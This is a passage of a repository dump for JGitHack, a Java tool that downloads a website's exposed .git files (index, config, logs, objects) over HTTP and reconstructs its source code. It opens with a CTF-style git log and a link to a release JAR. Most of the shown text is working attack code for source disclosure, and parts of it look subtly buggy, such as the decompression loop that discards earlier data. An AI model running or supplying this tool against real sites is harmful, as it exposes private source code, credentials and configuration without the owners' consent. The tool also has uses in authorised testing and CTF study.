59 | Date: Fri Sep 16 13:16:21 2016 +0800
60 | add robots.txt
61 | commit da06087a0b893ddb6b6c857e53ce4387c96785ab
62 | Author: tmp
63 | Date: Fri Sep 16 13:13:16 2016 +0800
64 | edit flag.php
65 | commit 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88
66 | Author: tmp
67 | Date: Fri Sep 16 13:09:53 2016 +0800
68 | test
69 |
70 | MacBook-Air$ git checkout 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88
71 | Note: checking out '12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88'.
72 | HEAD is now at 12c6ddf... test
73 | ```
74 |
--------------------------------------------------------------------------------
/release/JGitHack.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WangWen-Albert/JGitHack/aee1378ce80c8d2c6a20c9edfba0b00135843006/release/JGitHack.jar
--------------------------------------------------------------------------------
/src/java/com/jgithack/Main.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack;
6 |
7 | import java.awt.EventQueue;
8 |
9 | import com.jgithack.hack.GitHack;
10 | import com.jgithack.lang.StringUtil;
11 | import com.jgithack.log.LogUtils;
12 | import com.jgithack.ui.HomeFrame;
13 |
14 | /**
15 | * Main
16 | *
17 | * @author Albert Wang
18 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:10:00, jawangwen@qq.com $
19 | */
20 | public class Main {
21 | /**
22 | * main
23 | *
24 | * @param args
25 | * @return
26 | * @throws Exception
27 | */
28 | public static void main(String[] args) {
29 | String rootUrl = args.length > 2 ? args[1] : null;
30 | try {
31 | if (StringUtil.isBlank(rootUrl)) {
32 | EventQueue.invokeLater(new Runnable() {
33 | public void run() {
34 | HomeFrame homeFrame = new HomeFrame();
35 | homeFrame.setLocationRelativeTo(null);
36 | homeFrame.setVisible(true);
37 | }
38 | });
39 | } else {
40 | GitHack hack = new GitHack().withRootUrl(rootUrl).nativeFirst(true).skipError(true)
41 | .build();
42 | hack.checkout();
43 | LogUtils.info("Complete!");
44 | }
45 | } catch (Exception exception) {
46 | LogUtils.error(exception, "GitHack run failed!");
47 | }
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/core/IndexParse.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.core;
6 |
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | import com.jgithack.io.FileUtils;
13 | import com.jgithack.model.IndexEntry;
14 |
15 | /**
16 | * IndexParse-".git/index"文件解析方法
17 | *
18 | * @author Albert Wang
19 | * @version $Id: IndexParse.java, V0.1 2016-10-29 20:05:00, jawangwen@qq.com $
20 | */
21 | public class IndexParse {
22 | /** ".git/index"文件路径 */
23 | private String indexPath;
24 |
25 | /** ".git/index"文件里的信息 */
26 | private List indexEntries;
27 |
28 | /**
29 | * 加载".git/index"文件进行解析
30 | *
31 | * @param indexPath
32 | * @return 加载后的解析方法对象(该对象可获取解析结果)
33 | * @throws Exception 加载失败则抛出异常
34 | */
35 | public static IndexParse load(String indexPath) throws IOException {
36 | IndexParse indexParse = new IndexParse(indexPath);
37 | indexParse.parse();
38 | return indexParse;
39 | }
40 |
41 | /**
42 | * 获取".git/index"文件里的信息
43 | *
44 | * @return
45 | */
46 | public List getIndexEntries() {
47 | return indexEntries != null ? indexEntries : new ArrayList();
48 | }
49 |
50 | /**
51 | * 构造器方法,请使用load接口来加载和解析".git/index"文件
52 | *
53 | * @param indexPath ".git/index"文件地址
54 | */
55 | private IndexParse(String indexPath) {
56 | this.indexPath = indexPath;
57 | }
58 |
59 | /**
60 | * 解析".git/index"文件
61 | *
62 | * @throws IOException 解析失败则抛出异常
63 | */
64 | private void parse() throws IOException {
65 | List result = new ArrayList();
66 |
67 | try {
68 | IndexReader reader = new IndexReader(indexPath);
69 |
70 | String signature = reader.nextString(4);
71 | if (!"DIRC".equals(signature)) {
72 | throw new IOException("Not a GIT index file");
73 | }
74 |
75 | Integer version = reader.nextInteger();
76 | if (version < 2 || version > 3) {
77 | throw new IOException(String.format("Unsupported version: %s", version));
78 | }
79 |
80 | Integer entrySize = reader.nextInteger();
81 | for (int id = 1; id <= entrySize; id++) {
82 | IndexEntry entry = new IndexEntry();
83 |
84 | entry.setId(id);
85 | entry.setSecondsCreated(reader.nextInteger());
86 | entry.setNanosecondsCreated(reader.nextInteger());
87 | entry.setSecondsModified((reader.nextInteger()));
88 | entry.setNanosecondsModified(reader.nextInteger());
89 | entry.setDev(reader.nextInteger());
90 | entry.setIno(reader.nextInteger());
91 | entry.setMode(Integer.toOctalString(reader.nextInteger()));
92 | entry.setUid(reader.nextInteger());
93 | entry.setGid(reader.nextInteger());
94 | entry.setSize(reader.nextInteger());
95 | entry.setSha1(reader.nextHexString(20));
96 | entry.setFlags(reader.nextShort());
97 | entry.setAssumeValid(isMask(entry.getFlags(), 0x8000));
98 | entry.setExtended(isMask(entry.getFlags(), 0x4000));
99 |
100 | boolean stage1 = isMask(entry.getFlags(), 0x2000);
101 | boolean stage2 = isMask(entry.getFlags(), 0x1000);
102 | entry.setStage(new Boolean[] { stage1, stage2 });
103 |
104 | int entryLen = 62;
105 |
106 | if (entry.getExtended() && version == 3) {
107 | entry.setExtraFlags(reader.nextShort());
108 | entry.setReserved(isMask(entry.getExtraFlags(), 0x8000));
109 | entry.setSkipWorktree(isMask(entry.getExtraFlags(), 0x4000));
110 | entry.setIntentToAdd(isMask(entry.getExtraFlags(), 0x2000));
111 | entryLen += 2;
112 | }
113 |
114 | int nameLen = entry.getFlags() & 0xFFF;
115 | entry.setName(nameLen == 0xFFF ? reader.nextString() : reader.nextString(nameLen));
116 | entryLen += entry.getName().length();
117 | int padlen = 8 - (entryLen % 8);
118 | reader.checkAndSkipPads((byte) 0, padlen > 0 ? padlen : 8);
119 |
120 | result.add(entry);
121 | }
122 |
123 | indexEntries = result;
124 | } catch (Exception exception) {
125 | throw new RuntimeException(exception);
126 | }
127 | }
128 |
129 | /**
130 | * 掩码判断
131 | *
132 | * @param value
133 | * @param code
134 | * @return
135 | */
136 | private Boolean isMask(int value, int code) {
137 | return (value & code) != 0;
138 | }
139 |
140 | private class IndexReader {
141 | private final byte[] data;
142 | private int offset;
143 |
144 | public IndexReader(String indexPath) throws IOException {
145 | File file = new File(indexPath);
146 | data = FileUtils.readFileToByteArray(file);
147 | offset = 0;
148 | }
149 |
150 | public String nextString() {
151 | int start = offset;
152 | while (true) {
153 | if (offset + 1 > data.length) {
154 | throw new RuntimeException("nextString failed, offset: " + offset);
155 | }
156 | if (data[offset++] == 0) {
157 | break;
158 | }
159 | }
160 | return new String(data, start, offset - start);
161 | }
162 |
163 | public String nextString(int len) {
164 | if (offset + len > data.length) {
165 | throw new RuntimeException(String.format("nextString failed, offset: %d, len: %d",
166 | offset, len));
167 | }
168 |
169 | String result = new String(data, offset, len);
170 | offset += len;
171 | return result;
172 | }
173 |
174 | public String nextHexString(int byteNum) {
175 | if (offset + byteNum > data.length) {
176 | throw new RuntimeException(String.format(
177 | "nextHexString failed, offset: %d, byteNum: %d", offset, byteNum));
178 | }
179 |
180 | StringBuffer sb = new StringBuffer(byteNum * 2);
181 | for (int index = 0; index < byteNum; index++) {
182 | String hex = Integer.toHexString(data[offset++] & 0xFF);
183 | sb.append(hex.length() < 2 ? "0" : "").append(hex);
184 | }
185 | return sb.toString();
186 | }
187 |
188 | public Integer nextInteger() {
189 | if (offset + 4 > data.length) {
190 | throw new RuntimeException("nextInteger failed, offset: " + offset);
191 | }
192 |
193 | int result = 0;
194 |
195 | result |= (data[offset + 0] & 0xFF) << 24;
196 | result |= (data[offset + 1] & 0xFF) << 16;
197 | result |= (data[offset + 2] & 0xFF) << 8;
198 | result |= (data[offset + 3] & 0xFF);
199 |
200 | offset += 4;
201 |
202 | return result;
203 | }
204 |
205 | public Short nextShort() {
206 | if (offset + 2 > data.length) {
207 | throw new RuntimeException("nextShort failed, offset: " + offset);
208 | }
209 |
210 | int result = 0;
211 |
212 | result |= (data[offset + 0] & 0xFF) << 8;
213 | result |= (data[offset + 1] & 0xFF);
214 |
215 | offset += 2;
216 |
217 | return (short) result;
218 | }
219 |
220 | public void checkAndSkipPads(byte expected, int len) {
221 | if (offset + len > data.length) {
222 | throw new RuntimeException(String.format(
223 | "checkAndSkipPads failed, offset: %d, len: %d", offset, len));
224 | }
225 |
226 | for (int index = 0; index < len; index++) {
227 | if (data[offset] != expected) {
228 | throw new RuntimeException(String.format(
229 | "Invalid Pad, actual: %s, expected: %s", data[offset], expected));
230 | }
231 | offset++;
232 | }
233 | }
234 | }
235 | }
236 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/core/ObjectParse.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.core;
6 |
7 | import java.io.ByteArrayInputStream;
8 | import java.io.File;
9 | import java.io.IOException;
10 | import java.util.HashSet;
11 | import java.util.Set;
12 | import java.util.regex.Matcher;
13 | import java.util.regex.Pattern;
14 | import java.util.zip.InflaterInputStream;
15 |
16 | import com.jgithack.io.FileUtils;
17 |
18 | /**
19 | * ObjectParse-.git/objects的解析方法
20 | *
21 | * @author Albert Wang
22 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:03:00, jawangwen@qq.com $
23 | */
24 | public class ObjectParse {
25 | private final Pattern headPattern = Pattern.compile("^(\\w+)\\s+(\\d+)");
26 | private final Pattern commitPattern = Pattern.compile("^tree.+?([0-9a-zA-Z]+)");
27 |
28 | private File objectFile;
29 | private byte[] objectData;
30 | private String objectType;
31 | private String objectText;
32 | private Set relatedSha1;
33 |
34 | /**
35 | * 加载object文件进行解析
36 | *
37 | * @param objectPath object文件地址
38 | * @return 加载后的解析方法对象(该对象可获取解析结果)
39 | * @throws Exception 加载失败则抛出异常
40 | */
41 | public static ObjectParse load(String objectPath) throws IOException {
42 | ObjectParse objectParse = new ObjectParse(objectPath);
43 | objectParse.parse();
44 | return objectParse;
45 | }
46 |
47 | /**
48 | * 获取GIT对象类型
49 | *
50 | * @return GIT对象类型
51 | */
52 | public String getType() {
53 | return objectType;
54 | }
55 |
56 | /**
57 | * 获取GIT对象文件内容
58 | *
59 | * @return GIT对象文件内容
60 | */
61 | public String catFile() {
62 | return objectText;
63 | }
64 |
65 | /**
66 | * 查找GIT对象关联的其他对象
67 | *
68 | * @return 被关联对象的sha1集合
69 | */
70 | public Set findRelatedSha1() {
71 | return relatedSha1 != null ? relatedSha1 : new HashSet();
72 | }
73 |
74 | /**
75 | * 构造器方法,请使用load接口来加载和解析GIT对象文件
76 | *
77 | * @param objectPath GIT对象文件地址
78 | * @throws IOException
79 | */
80 | private ObjectParse(String objectPath) throws IOException {
81 | objectFile = new File(objectPath);
82 | objectData = unzip(FileUtils.readFileToByteArray(objectFile));
83 | relatedSha1 = new HashSet();
84 | }
85 |
86 | /**
87 | * 对对象文件的原始字节inflater解压缩
88 | *
89 | * @param bytes 对象文件的原始字节素组
90 | * @return 解压缩后的字节素组
91 | * @throws IOException 解压缩失败则抛出异常
92 | */
93 | private byte[] unzip(byte[] bytes) throws IOException {
94 | if (bytes != null) {
95 | byte[] result = new byte[0];
96 |
97 | InflaterInputStream stream = new InflaterInputStream(new ByteArrayInputStream(bytes));
98 | while (true) {
99 | byte[] buffer = new byte[1024];
100 | int size = stream.read(buffer, 0, buffer.length);
101 | if (size < 0) {
102 | break;
103 | }
104 | result = new byte[result.length + size];
105 | System.arraycopy(buffer, 0, result, 0, size);
106 | }
107 |
108 | return result;
109 | }
110 | return null;
111 | }
112 |
113 | /**
114 | * 解析对象文件
115 | *
116 | * @throws IOException
117 | */
118 | private void parse() throws IOException {
119 | ObjectReader reader = new ObjectReader(objectData);
120 |
121 | objectType = reader.nextHead();
122 | if (objectType.equals("commit")) {
123 | objectText = reader.nextString();
124 | Matcher matcher = commitPattern.matcher(objectText);
125 | if (matcher.find()) {
126 | relatedSha1.add(matcher.group(1));
127 | }
128 | } else if (objectType.equals("tree")) {
129 | while (reader.isAvailable()) {
130 | reader.nextString(); // blobInfo
131 | String blobSha1 = reader.nextHexString(20);
132 | relatedSha1.add(blobSha1);
133 | }
134 | } else if (objectType.equals("blob")) {
135 | objectText = reader.nextString();
136 | } else {
137 | throw new IOException(String.format("Unsupport object type \"%s\", file: %s",
138 | objectType, objectFile));
139 | }
140 | }
141 |
142 | /**
143 | * ObjectReader-.git/objects文件解压缩后的字节读取器
144 | *
145 | * @author Albert Wang
146 | * @version $Id: ObjectParse.java, V0.1 Oct 30, 2016 3:47:32 PM jawangwen@qq.com $
147 | */
148 | private class ObjectReader {
149 | private final byte[] data;
150 | private int offset = 0;
151 | private int limit = 0;
152 |
153 | /**
154 | * 读取器构造方法
155 | *
156 | * @param objectData 待读取的字节数组
157 | */
158 | public ObjectReader(byte[] objectData) {
159 | this.data = objectData;
160 | }
161 |
162 | /**
163 | * 探测是否还有未读取的字节
164 | *
165 | * @return
166 | */
167 | public boolean isAvailable() {
168 | return offset < limit;
169 | }
170 |
171 | /**
172 | * 读取头部,并返回对象类型
173 | *
174 | * @return 头部指明的对象文件类型
175 | * @throws IOException 读取失败则抛出异常
176 | */
177 | public String nextHead() throws IOException {
178 | String head = nextString();
179 |
180 | Matcher headMatcher = headPattern.matcher(head);
181 | if (!headMatcher.find()) {
182 | throw new IOException(String.format("Unkown object head \"%s\"", head));
183 | }
184 |
185 | objectType = headMatcher.group(1);
186 | limit += head.length() + 1 + Integer.valueOf(headMatcher.group(2));
187 | if (limit > data.length) {
188 | throw new IOException(String.format("Invalid head size, head: %s", head));
189 | }
190 |
191 | return objectType;
192 | }
193 |
194 | /**
195 | * 读取下一批字节作为字符串(截至到0x00或数据末尾)
196 | *
197 | * @return 已读取的字符串
198 | */
199 | public String nextString() {
200 | int start = offset;
201 | int length = 0;
202 |
203 | while (offset < data.length && data[offset++] != 0) {
204 | length++;
205 | }
206 |
207 | return new String(data, start, length);
208 | }
209 |
210 | /**
211 | * 读取下一批字节作为十六进制字符串
212 | *
213 | * @param byteNum 需要读取的字节数
214 | * @return 已读取的十六进制字符串
215 | */
216 | public String nextHexString(int byteNum) {
217 | if (offset + byteNum > data.length) {
218 | throw new RuntimeException(String.format(
219 | "nextHexString failed, offset: %d, byteNum: %d", offset, byteNum));
220 | }
221 |
222 | StringBuffer sb = new StringBuffer(byteNum * 2);
223 | for (int index = 0; index < byteNum; index++) {
224 | String hex = Integer.toHexString(data[offset++] & 0xFF);
225 | sb.append(hex.length() < 2 ? "0" : "").append(hex);
226 | }
227 |
228 | return sb.toString();
229 | }
230 | }
231 | }
232 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/core/PageDownload.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.core;
6 |
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.io.InputStream;
10 | import java.net.HttpURLConnection;
11 | import java.net.URL;
12 | import java.util.Arrays;
13 | import java.util.Map;
14 | import java.util.Map.Entry;
15 |
16 | import com.jgithack.io.FileUtils;
17 | import com.jgithack.lang.StringUtil;
18 |
19 | /**
20 | * PageDownload-页面下载方法
21 | *
22 | * @author Albert Wang
23 | * @version $Id: PageDownload.java, V0.1 2016-10-29 20:00:00, jawangwen@qq.com $
24 | */
25 | public class PageDownload {
26 | /** 页面地址 */
27 | private String remoteUrl;
28 |
29 | /** 访问参数 */
30 | private Map params;
31 |
32 | /** 重试次数 */
33 | private int tryTimes = 3;
34 |
35 | /** 本地文件是否优先,如果本地优先并且本地文件存在,下载动作不会被执行 */
36 | private boolean nativeFirst = false;
37 |
38 | /**
39 | * 页面下载方法
40 | *
41 | * @param remoteUrl 页面地址
42 | */
43 | public PageDownload(String remoteUrl) {
44 | this.remoteUrl = assureRemoteUrl(remoteUrl);
45 | }
46 |
47 | /**
48 | * 页面下载方法
49 | *
50 | * @param remoteUrl 页面地址
51 | * @param params 访问参数,可为null
52 | */
53 | public PageDownload(String remoteUrl, Map params) {
54 | this.remoteUrl = assureRemoteUrl(remoteUrl);
55 | this.params = params;
56 | }
57 |
58 | /**
59 | * 设置访问参数(如果有参数的话)
60 | *
61 | * @param params 访问参数,可为null
62 | * @return 页面下载方法对象
63 | */
64 | public PageDownload withParams(Map params) {
65 | this.params = params;
66 | return this;
67 | }
68 |
69 | /**
70 | * 设置下载重试次数(如果需要重试的话)
71 | *
72 | * @param tryTimes 下载重试次数
73 | * @return 页面下载方法对象
74 | */
75 | public PageDownload withTryTimes(int tryTimes) {
76 | this.tryTimes = tryTimes;
77 | return this;
78 | }
79 |
80 | /**
81 | * 设置本地文件优先(如果不希望重复下载的话)
82 | *
83 | * @param enable true表示本地文件优先,false表示远程文件优先
84 | * @return 页面下载方法对象
85 | */
86 | public PageDownload nativeFirst(boolean enable) {
87 | this.nativeFirst = enable;
88 | return this;
89 | }
90 |
91 | /**
92 | * 下载页面并保存到本地文件
93 | *
94 | * 如果设置了本地优先并且本地文件存在,下载动作不会被执行
95 | *
96 | * @param localPath 要保存到的本地文件地址
97 | * @return 文件的字节数
98 | * @throws IOException
99 | */
100 | public long saveAs(String localPath) throws IOException {
101 | long pageSize = 0;
102 | File localFile = new File(localPath);
103 |
104 | if (!nativeFirst || !localFile.exists()) {
105 | for (int tryTimes = 0; tryTimes < this.tryTimes; tryTimes++) {
106 | try {
107 | pageSize = doSave(localFile);
108 | if (pageSize > 0) {
109 | break;
110 | }
111 | } catch (Exception exception) {
112 | if (tryTimes == this.tryTimes) {
113 | throw new IOException("saveAs failed, localPath: " + localPath, exception);
114 | }
115 | }
116 | }
117 | } else {
118 | pageSize = localFile.length();
119 | }
120 |
121 | return pageSize;
122 | }
123 |
124 | /**
125 | * 执行下载,并保存到本地文件
126 | *
127 | * @param localFile 要保存到的本地文件地址
128 | * @return 文件的字节数
129 | * @throws IOException
130 | */
131 | private long doSave(File localFile) throws IOException {
132 | long pageSize = -1;
133 |
134 | HttpURLConnection httpConnection = newHttpConnection(encodeUrl(remoteUrl, params));
135 | int code = httpConnection.getResponseCode();
136 | InputStream inputStream = httpConnection.getInputStream();
137 | try {
138 | if (code != HttpURLConnection.HTTP_OK) {
139 | throw new RuntimeException(String.format("Read Page failed, code: %s", code));
140 | }
141 |
142 | byte[] buffer = new byte[1024];
143 | while (true) {
144 | int result = inputStream.read(buffer, 0, buffer.length);
145 | if (result < 0) {
146 | break;
147 | }
148 | pageSize = pageSize >= 0 ? pageSize : 0;
149 | byte[] output = Arrays.copyOf(buffer, result);
150 | FileUtils.writeByteArrayToFile(localFile, output, (pageSize > 0));
151 | pageSize += result;
152 | }
153 | } finally {
154 | inputStream.close();
155 | httpConnection.disconnect();
156 | }
157 |
158 | return pageSize;
159 | }
160 |
161 | /**
162 | * 确认页面地址是否合法
163 | *
164 | * @param remoteUrl 页面地址
165 | * @return 若合法,则返回地址地址本身
166 | */
167 | private String assureRemoteUrl(String remoteUrl) {
168 | if (StringUtil.isBlank(remoteUrl)) {
169 | throw new RuntimeException("Empty remoteUrl");
170 | }
171 | if (!remoteUrl.toLowerCase().startsWith("http://")) {
172 | throw new RuntimeException("Invalid remoteUrl(not start with http://): " + remoteUrl);
173 | }
174 | return remoteUrl;
175 | }
176 |
177 | /**
178 | * 对页面地址及访问参数进行编码
179 | *
180 | * @param remoteUrl 页面地址
181 | * @param params 访问参数(可以为null)
182 | * @return 编码后的地址
183 | */
184 | private String encodeUrl(String remoteUrl, Map params) {
185 | StringBuffer sb = new StringBuffer(remoteUrl);
186 |
187 | if (params != null) {
188 | sb.append("?");
189 | for (Entry param : params.entrySet()) {
190 | sb.append(param.getKey());
191 | sb.append("=");
192 | sb.append(String.valueOf(param.getValue()));
193 | sb.append("&");
194 | }
195 | if (sb.charAt(sb.length() - 1) == '&') {
196 | sb.deleteCharAt(sb.length() - 1);
197 | }
198 | }
199 |
200 | return sb.toString().replaceAll(" ", "%20");
201 | }
202 |
203 | /**
204 | * 创建HTTP连接
205 | *
206 | * @param requestUrl 编码后的页面地址
207 | * @return 打开后的HTTP连接
208 | * @throws IOException
209 | */
210 | private HttpURLConnection newHttpConnection(String requestUrl) throws IOException {
211 | try {
212 | URL url = new URL(requestUrl);
213 |
214 | HttpURLConnection httpConnection = (HttpURLConnection) url.openConnection();
215 | httpConnection.setRequestMethod("GET");
216 | httpConnection.setDoOutput(true);
217 | httpConnection.setDoInput(true);
218 | httpConnection.setReadTimeout(3000);
219 |
220 | return httpConnection;
221 | } catch (Exception exception) {
222 | throw new IOException("New HTTP Connection failed", exception);
223 | }
224 | }
225 | }
226 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/hack/GitHack.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.hack;
6 |
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.net.MalformedURLException;
10 | import java.util.HashSet;
11 | import java.util.Set;
12 | import java.util.concurrent.BlockingQueue;
13 | import java.util.concurrent.ConcurrentHashMap;
14 | import java.util.concurrent.ConcurrentMap;
15 | import java.util.concurrent.LinkedBlockingQueue;
16 | import java.util.concurrent.ThreadPoolExecutor;
17 | import java.util.concurrent.TimeUnit;
18 | import java.util.concurrent.atomic.AtomicInteger;
19 | import java.util.regex.Matcher;
20 | import java.util.regex.Pattern;
21 |
22 | import com.jgithack.core.IndexParse;
23 | import com.jgithack.core.ObjectParse;
24 | import com.jgithack.core.PageDownload;
25 | import com.jgithack.io.FileUtils;
26 | import com.jgithack.lang.StringUtil;
27 | import com.jgithack.log.LogUtils;
28 | import com.jgithack.model.IndexEntry;
29 |
30 | /**
31 | * GitHack
32 | *
33 | * @author Albert Wang
34 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:10:00, jawangwen@qq.com $
35 | */
36 | public class GitHack {
37 | private final Pattern logPattern = Pattern.compile("^([0-9a-zA-Z]+) ([0-9a-zA-Z]+)");
38 |
39 | private static Set sha1Skipped = new HashSet();
40 | {
41 | sha1Skipped.add("0000000000000000000000000000000000000000");
42 | }
43 |
44 | private String rootUrl = "";
45 | private String downloadDir = null;
46 | private int tryTimes = 3;
47 | private boolean nativeFirst = false;
48 | private boolean skipError = true;
49 |
50 | private int threadSize = 20;
51 | private BlockingQueue tasks = new LinkedBlockingQueue();
52 | private ThreadPoolExecutor executor = new ThreadPoolExecutor(threadSize, threadSize,
53 | 30, TimeUnit.SECONDS, tasks);
54 |
55 | public GitHack() {
56 | }
57 |
58 | public GitHack(String rootUrl) throws MalformedURLException {
59 | this.withRootUrl(rootUrl).withDownloadDir(this.rootUrl.replace("http://", ""));
60 | }
61 |
62 | public GitHack(String rootUrl, String downloadDir) {
63 | this.withRootUrl(rootUrl).withDownloadDir(downloadDir);
64 | }
65 |
66 | public GitHack withRootUrl(String rootUrl) {
67 | this.rootUrl = StringUtil.trimToEmpty(rootUrl).replaceFirst("/(\\w*?)\\.(\\w+)$", "")
68 | .replaceAll("/$", "");
69 | return this;
70 | }
71 |
72 | public GitHack withDownloadDir(String downloadDir) {
73 | this.downloadDir = StringUtil.trimToEmpty(downloadDir).replaceAll("/$", "");
74 | return this;
75 | }
76 |
77 | public GitHack withTryTimes(int tryTimes) {
78 | this.tryTimes = tryTimes;
79 | return this;
80 | }
81 |
82 | public GitHack nativeFirst(boolean enable) {
83 | this.nativeFirst = enable;
84 | return this;
85 | }
86 |
87 | public GitHack skipError(boolean enable) {
88 | this.skipError = enable;
89 | return this;
90 | }
91 |
92 | public GitHack withThreadSize(int threadSize) {
93 | this.threadSize = threadSize;
94 | return this;
95 | }
96 |
97 | /**
98 | * Build hack, i.e. object directories
99 | *
100 | * @return
101 | * @throws IOException
102 | * @throws InterruptedException
103 | */
104 | public GitHack build() throws IOException, InterruptedException {
105 | boolean done = false;
106 | long startTime = System.currentTimeMillis();
107 |
108 | try {
109 | LogUtils.info("GitHack build start");
110 |
111 | assureParams();
112 |
113 | LogUtils.info("rootUrl: %s", rootUrl);
114 | LogUtils.info("downloadDir: %s", downloadDir);
115 |
116 | downloadFile("/.git/index");
117 | downloadFile("/.git/logs/HEAD");
118 | downloadFile("/.git/config");
119 | downloadFile("/.git/COMMIT_EDITMSG");
120 | downloadFile("/.git/HEAD");
121 | downloadFile("/.git/refs/heads/master");
122 |
123 | downloadObjects();
124 |
125 | done = true;
126 |
127 | LogUtils.info("GitHack build success");
128 | } finally {
129 | LogUtils.info("GitHack done(%s) cost %ss", done ? "Y" : "N",
130 | (System.currentTimeMillis() - startTime) / 1000);
131 | }
132 |
133 | return this;
134 | }
135 |
136 | public void checkout() throws IOException {
137 | LogUtils.info("GitHack checkout start");
138 |
139 | for (IndexEntry entry : IndexParse.load(downloadDir + "/.git/index").getIndexEntries()) {
140 | downloadObject(entry.getSha1());
141 | restoreObjectToFile(entry.getSha1(), entry.getName());
142 | }
143 |
144 | LogUtils.info("GitHack checkout success");
145 | }
146 |
147 | public void close() {
148 | executor.shutdownNow();
149 | LogUtils.info("GitHack is closing..");
150 | }
151 |
152 | private String downloadFile(String pagePath) throws IOException {
153 | try {
154 | String requestUrl = rootUrl + pagePath;
155 | String filePath = downloadDir + pagePath;
156 | long fileSize = new PageDownload(requestUrl).withTryTimes(tryTimes)
157 | .nativeFirst(nativeFirst).saveAs(filePath);
158 | if (fileSize <= 0) {
159 | throw new IOException("None read from page: " + requestUrl);
160 | }
161 | LogUtils.info("download file \"%s\", size: %s", pagePath, fileSize);
162 | return filePath;
163 | } catch (IOException exception) {
164 | if (!skipError) {
165 | throw exception;
166 | }
167 | LogUtils.error(exception, "download page failed, file: %s", pagePath);
168 | return null;
169 | }
170 | }
171 |
172 | private void downloadObjects() throws IOException, InterruptedException {
173 | AtomicInteger taskCount = new AtomicInteger(0);
174 | ConcurrentMap result = new ConcurrentHashMap();
175 | try {
176 | for (String sha1 : readCommitSha1(downloadDir + "/.git/logs/HEAD")) {
177 | startObjectDownload(sha1, taskCount, result);
178 | }
179 |
180 | while (taskCount.get() > 0) {
181 | Thread.sleep(1000);
182 | }
183 |
184 | for (IOException exception : result.values()) {
185 | if (!(exception instanceof NotException)) {
186 | throw exception;
187 | }
188 | }
189 | } catch (IOException exception) {
190 | if (!skipError) {
191 | throw new IOException("download objects failed", exception);
192 | }
193 | LogUtils.error(exception, "download objects failed");
194 | }
195 | }
196 |
197 | private String downloadObject(String sha1) throws IOException {
198 | try {
199 | String folder = String.format("/.git/objects/%s/%s", sha1.substring(0, 2),
200 | sha1.substring(2));
201 | String requestUrl = rootUrl + folder;
202 | String objectPath = downloadDir + folder;
203 | long objectSize = new PageDownload(requestUrl).withTryTimes(tryTimes)
204 | .nativeFirst(nativeFirst).saveAs(objectPath);
205 | if (objectSize <= 0) {
206 | throw new IOException("None read from requestUrl: " + requestUrl);
207 | }
208 | LogUtils.info("download object, sha1: %s, size: %s", sha1, objectSize);
209 | return objectPath;
210 | } catch (IOException exception) {
211 | if (!skipError) {
212 | throw exception;
213 | }
214 | LogUtils.error(exception, "download object failed, sha1: %s", sha1);
215 | }
216 | return null;
217 | }
218 |
219 | private void restoreObjectToFile(String sha1, String filePath) throws IOException {
220 | filePath = filePath.startsWith("/") ? filePath : "/" + filePath;
221 | LogUtils.info("restore file: %s, sha1: %s", filePath, sha1);
222 | try {
223 | // 下载文件
224 | String folder = String.format("/.git/objects/%s/%s", sha1.substring(0, 2),
225 | sha1.substring(2));
226 |
227 | // 解压文件
228 | String fileContent = ObjectParse.load(downloadDir + folder).catFile();
229 |
230 | // 存储文件
231 | File localFile = new File(downloadDir + filePath);
232 | FileUtils.writeStringToFile(localFile, fileContent.replaceFirst("^blob \\d+\\x00", ""));
233 | } catch (IOException exception) {
234 | if (!skipError) {
235 | throw exception;
236 | }
237 | LogUtils.error(exception, "download failed, filePath: %s, sha1: %s", filePath, sha1);
238 | }
239 | }
240 |
241 | /**
242 | * 解压对象为文本
243 | *
244 | * @param filePath 解决路径
245 | * @return
246 | * @throws IOException
247 | */
248 | private void assureParams() throws IOException {
249 | if (StringUtil.isBlank(rootUrl)) {
250 | throw new IOException("Empty rootUrl");
251 | }
252 | if (!rootUrl.toLowerCase().startsWith("http://")) {
253 | throw new IOException("Invalid rootUrl(not start with http://): " + rootUrl);
254 | }
255 | if (StringUtil.isBlank(downloadDir)) {
256 | this.withDownloadDir(this.rootUrl.replace("http://", ""));
257 | }
258 | }
259 |
260 | private Set readCommitSha1(String logPath) throws IOException {
261 | Set result = new HashSet();
262 |
263 | File file = new File(logPath);
264 | for (String line : FileUtils.readLines(file)) {
265 | Matcher matcher = logPattern.matcher(line);
266 | if (matcher.find()) {
267 | if (!sha1Skipped.contains(matcher.group(1))) {
268 | result.add(matcher.group(1));
269 | }
270 | if (!sha1Skipped.contains(matcher.group(2))) {
271 | result.add(matcher.group(2));
272 | }
273 | }
274 | }
275 |
276 | return result;
277 | }
278 |
279 | private void startObjectDownload(String sha1, AtomicInteger taskCount,
280 | ConcurrentMap result) {
281 | if (!result.containsKey(sha1)) {
282 | if (result.putIfAbsent(sha1, new NotException()) == null) {
283 | executor.execute(new ObjectDownload(sha1, taskCount, result));
284 | taskCount.getAndIncrement();
285 | }
286 | }
287 | }
288 |
289 | /** 非异常,GIT对象下载时作为哨兵 */
290 | private class NotException extends IOException {
291 | /** */
292 | private static final long serialVersionUID = 8780565940390318109L;
293 | }
294 |
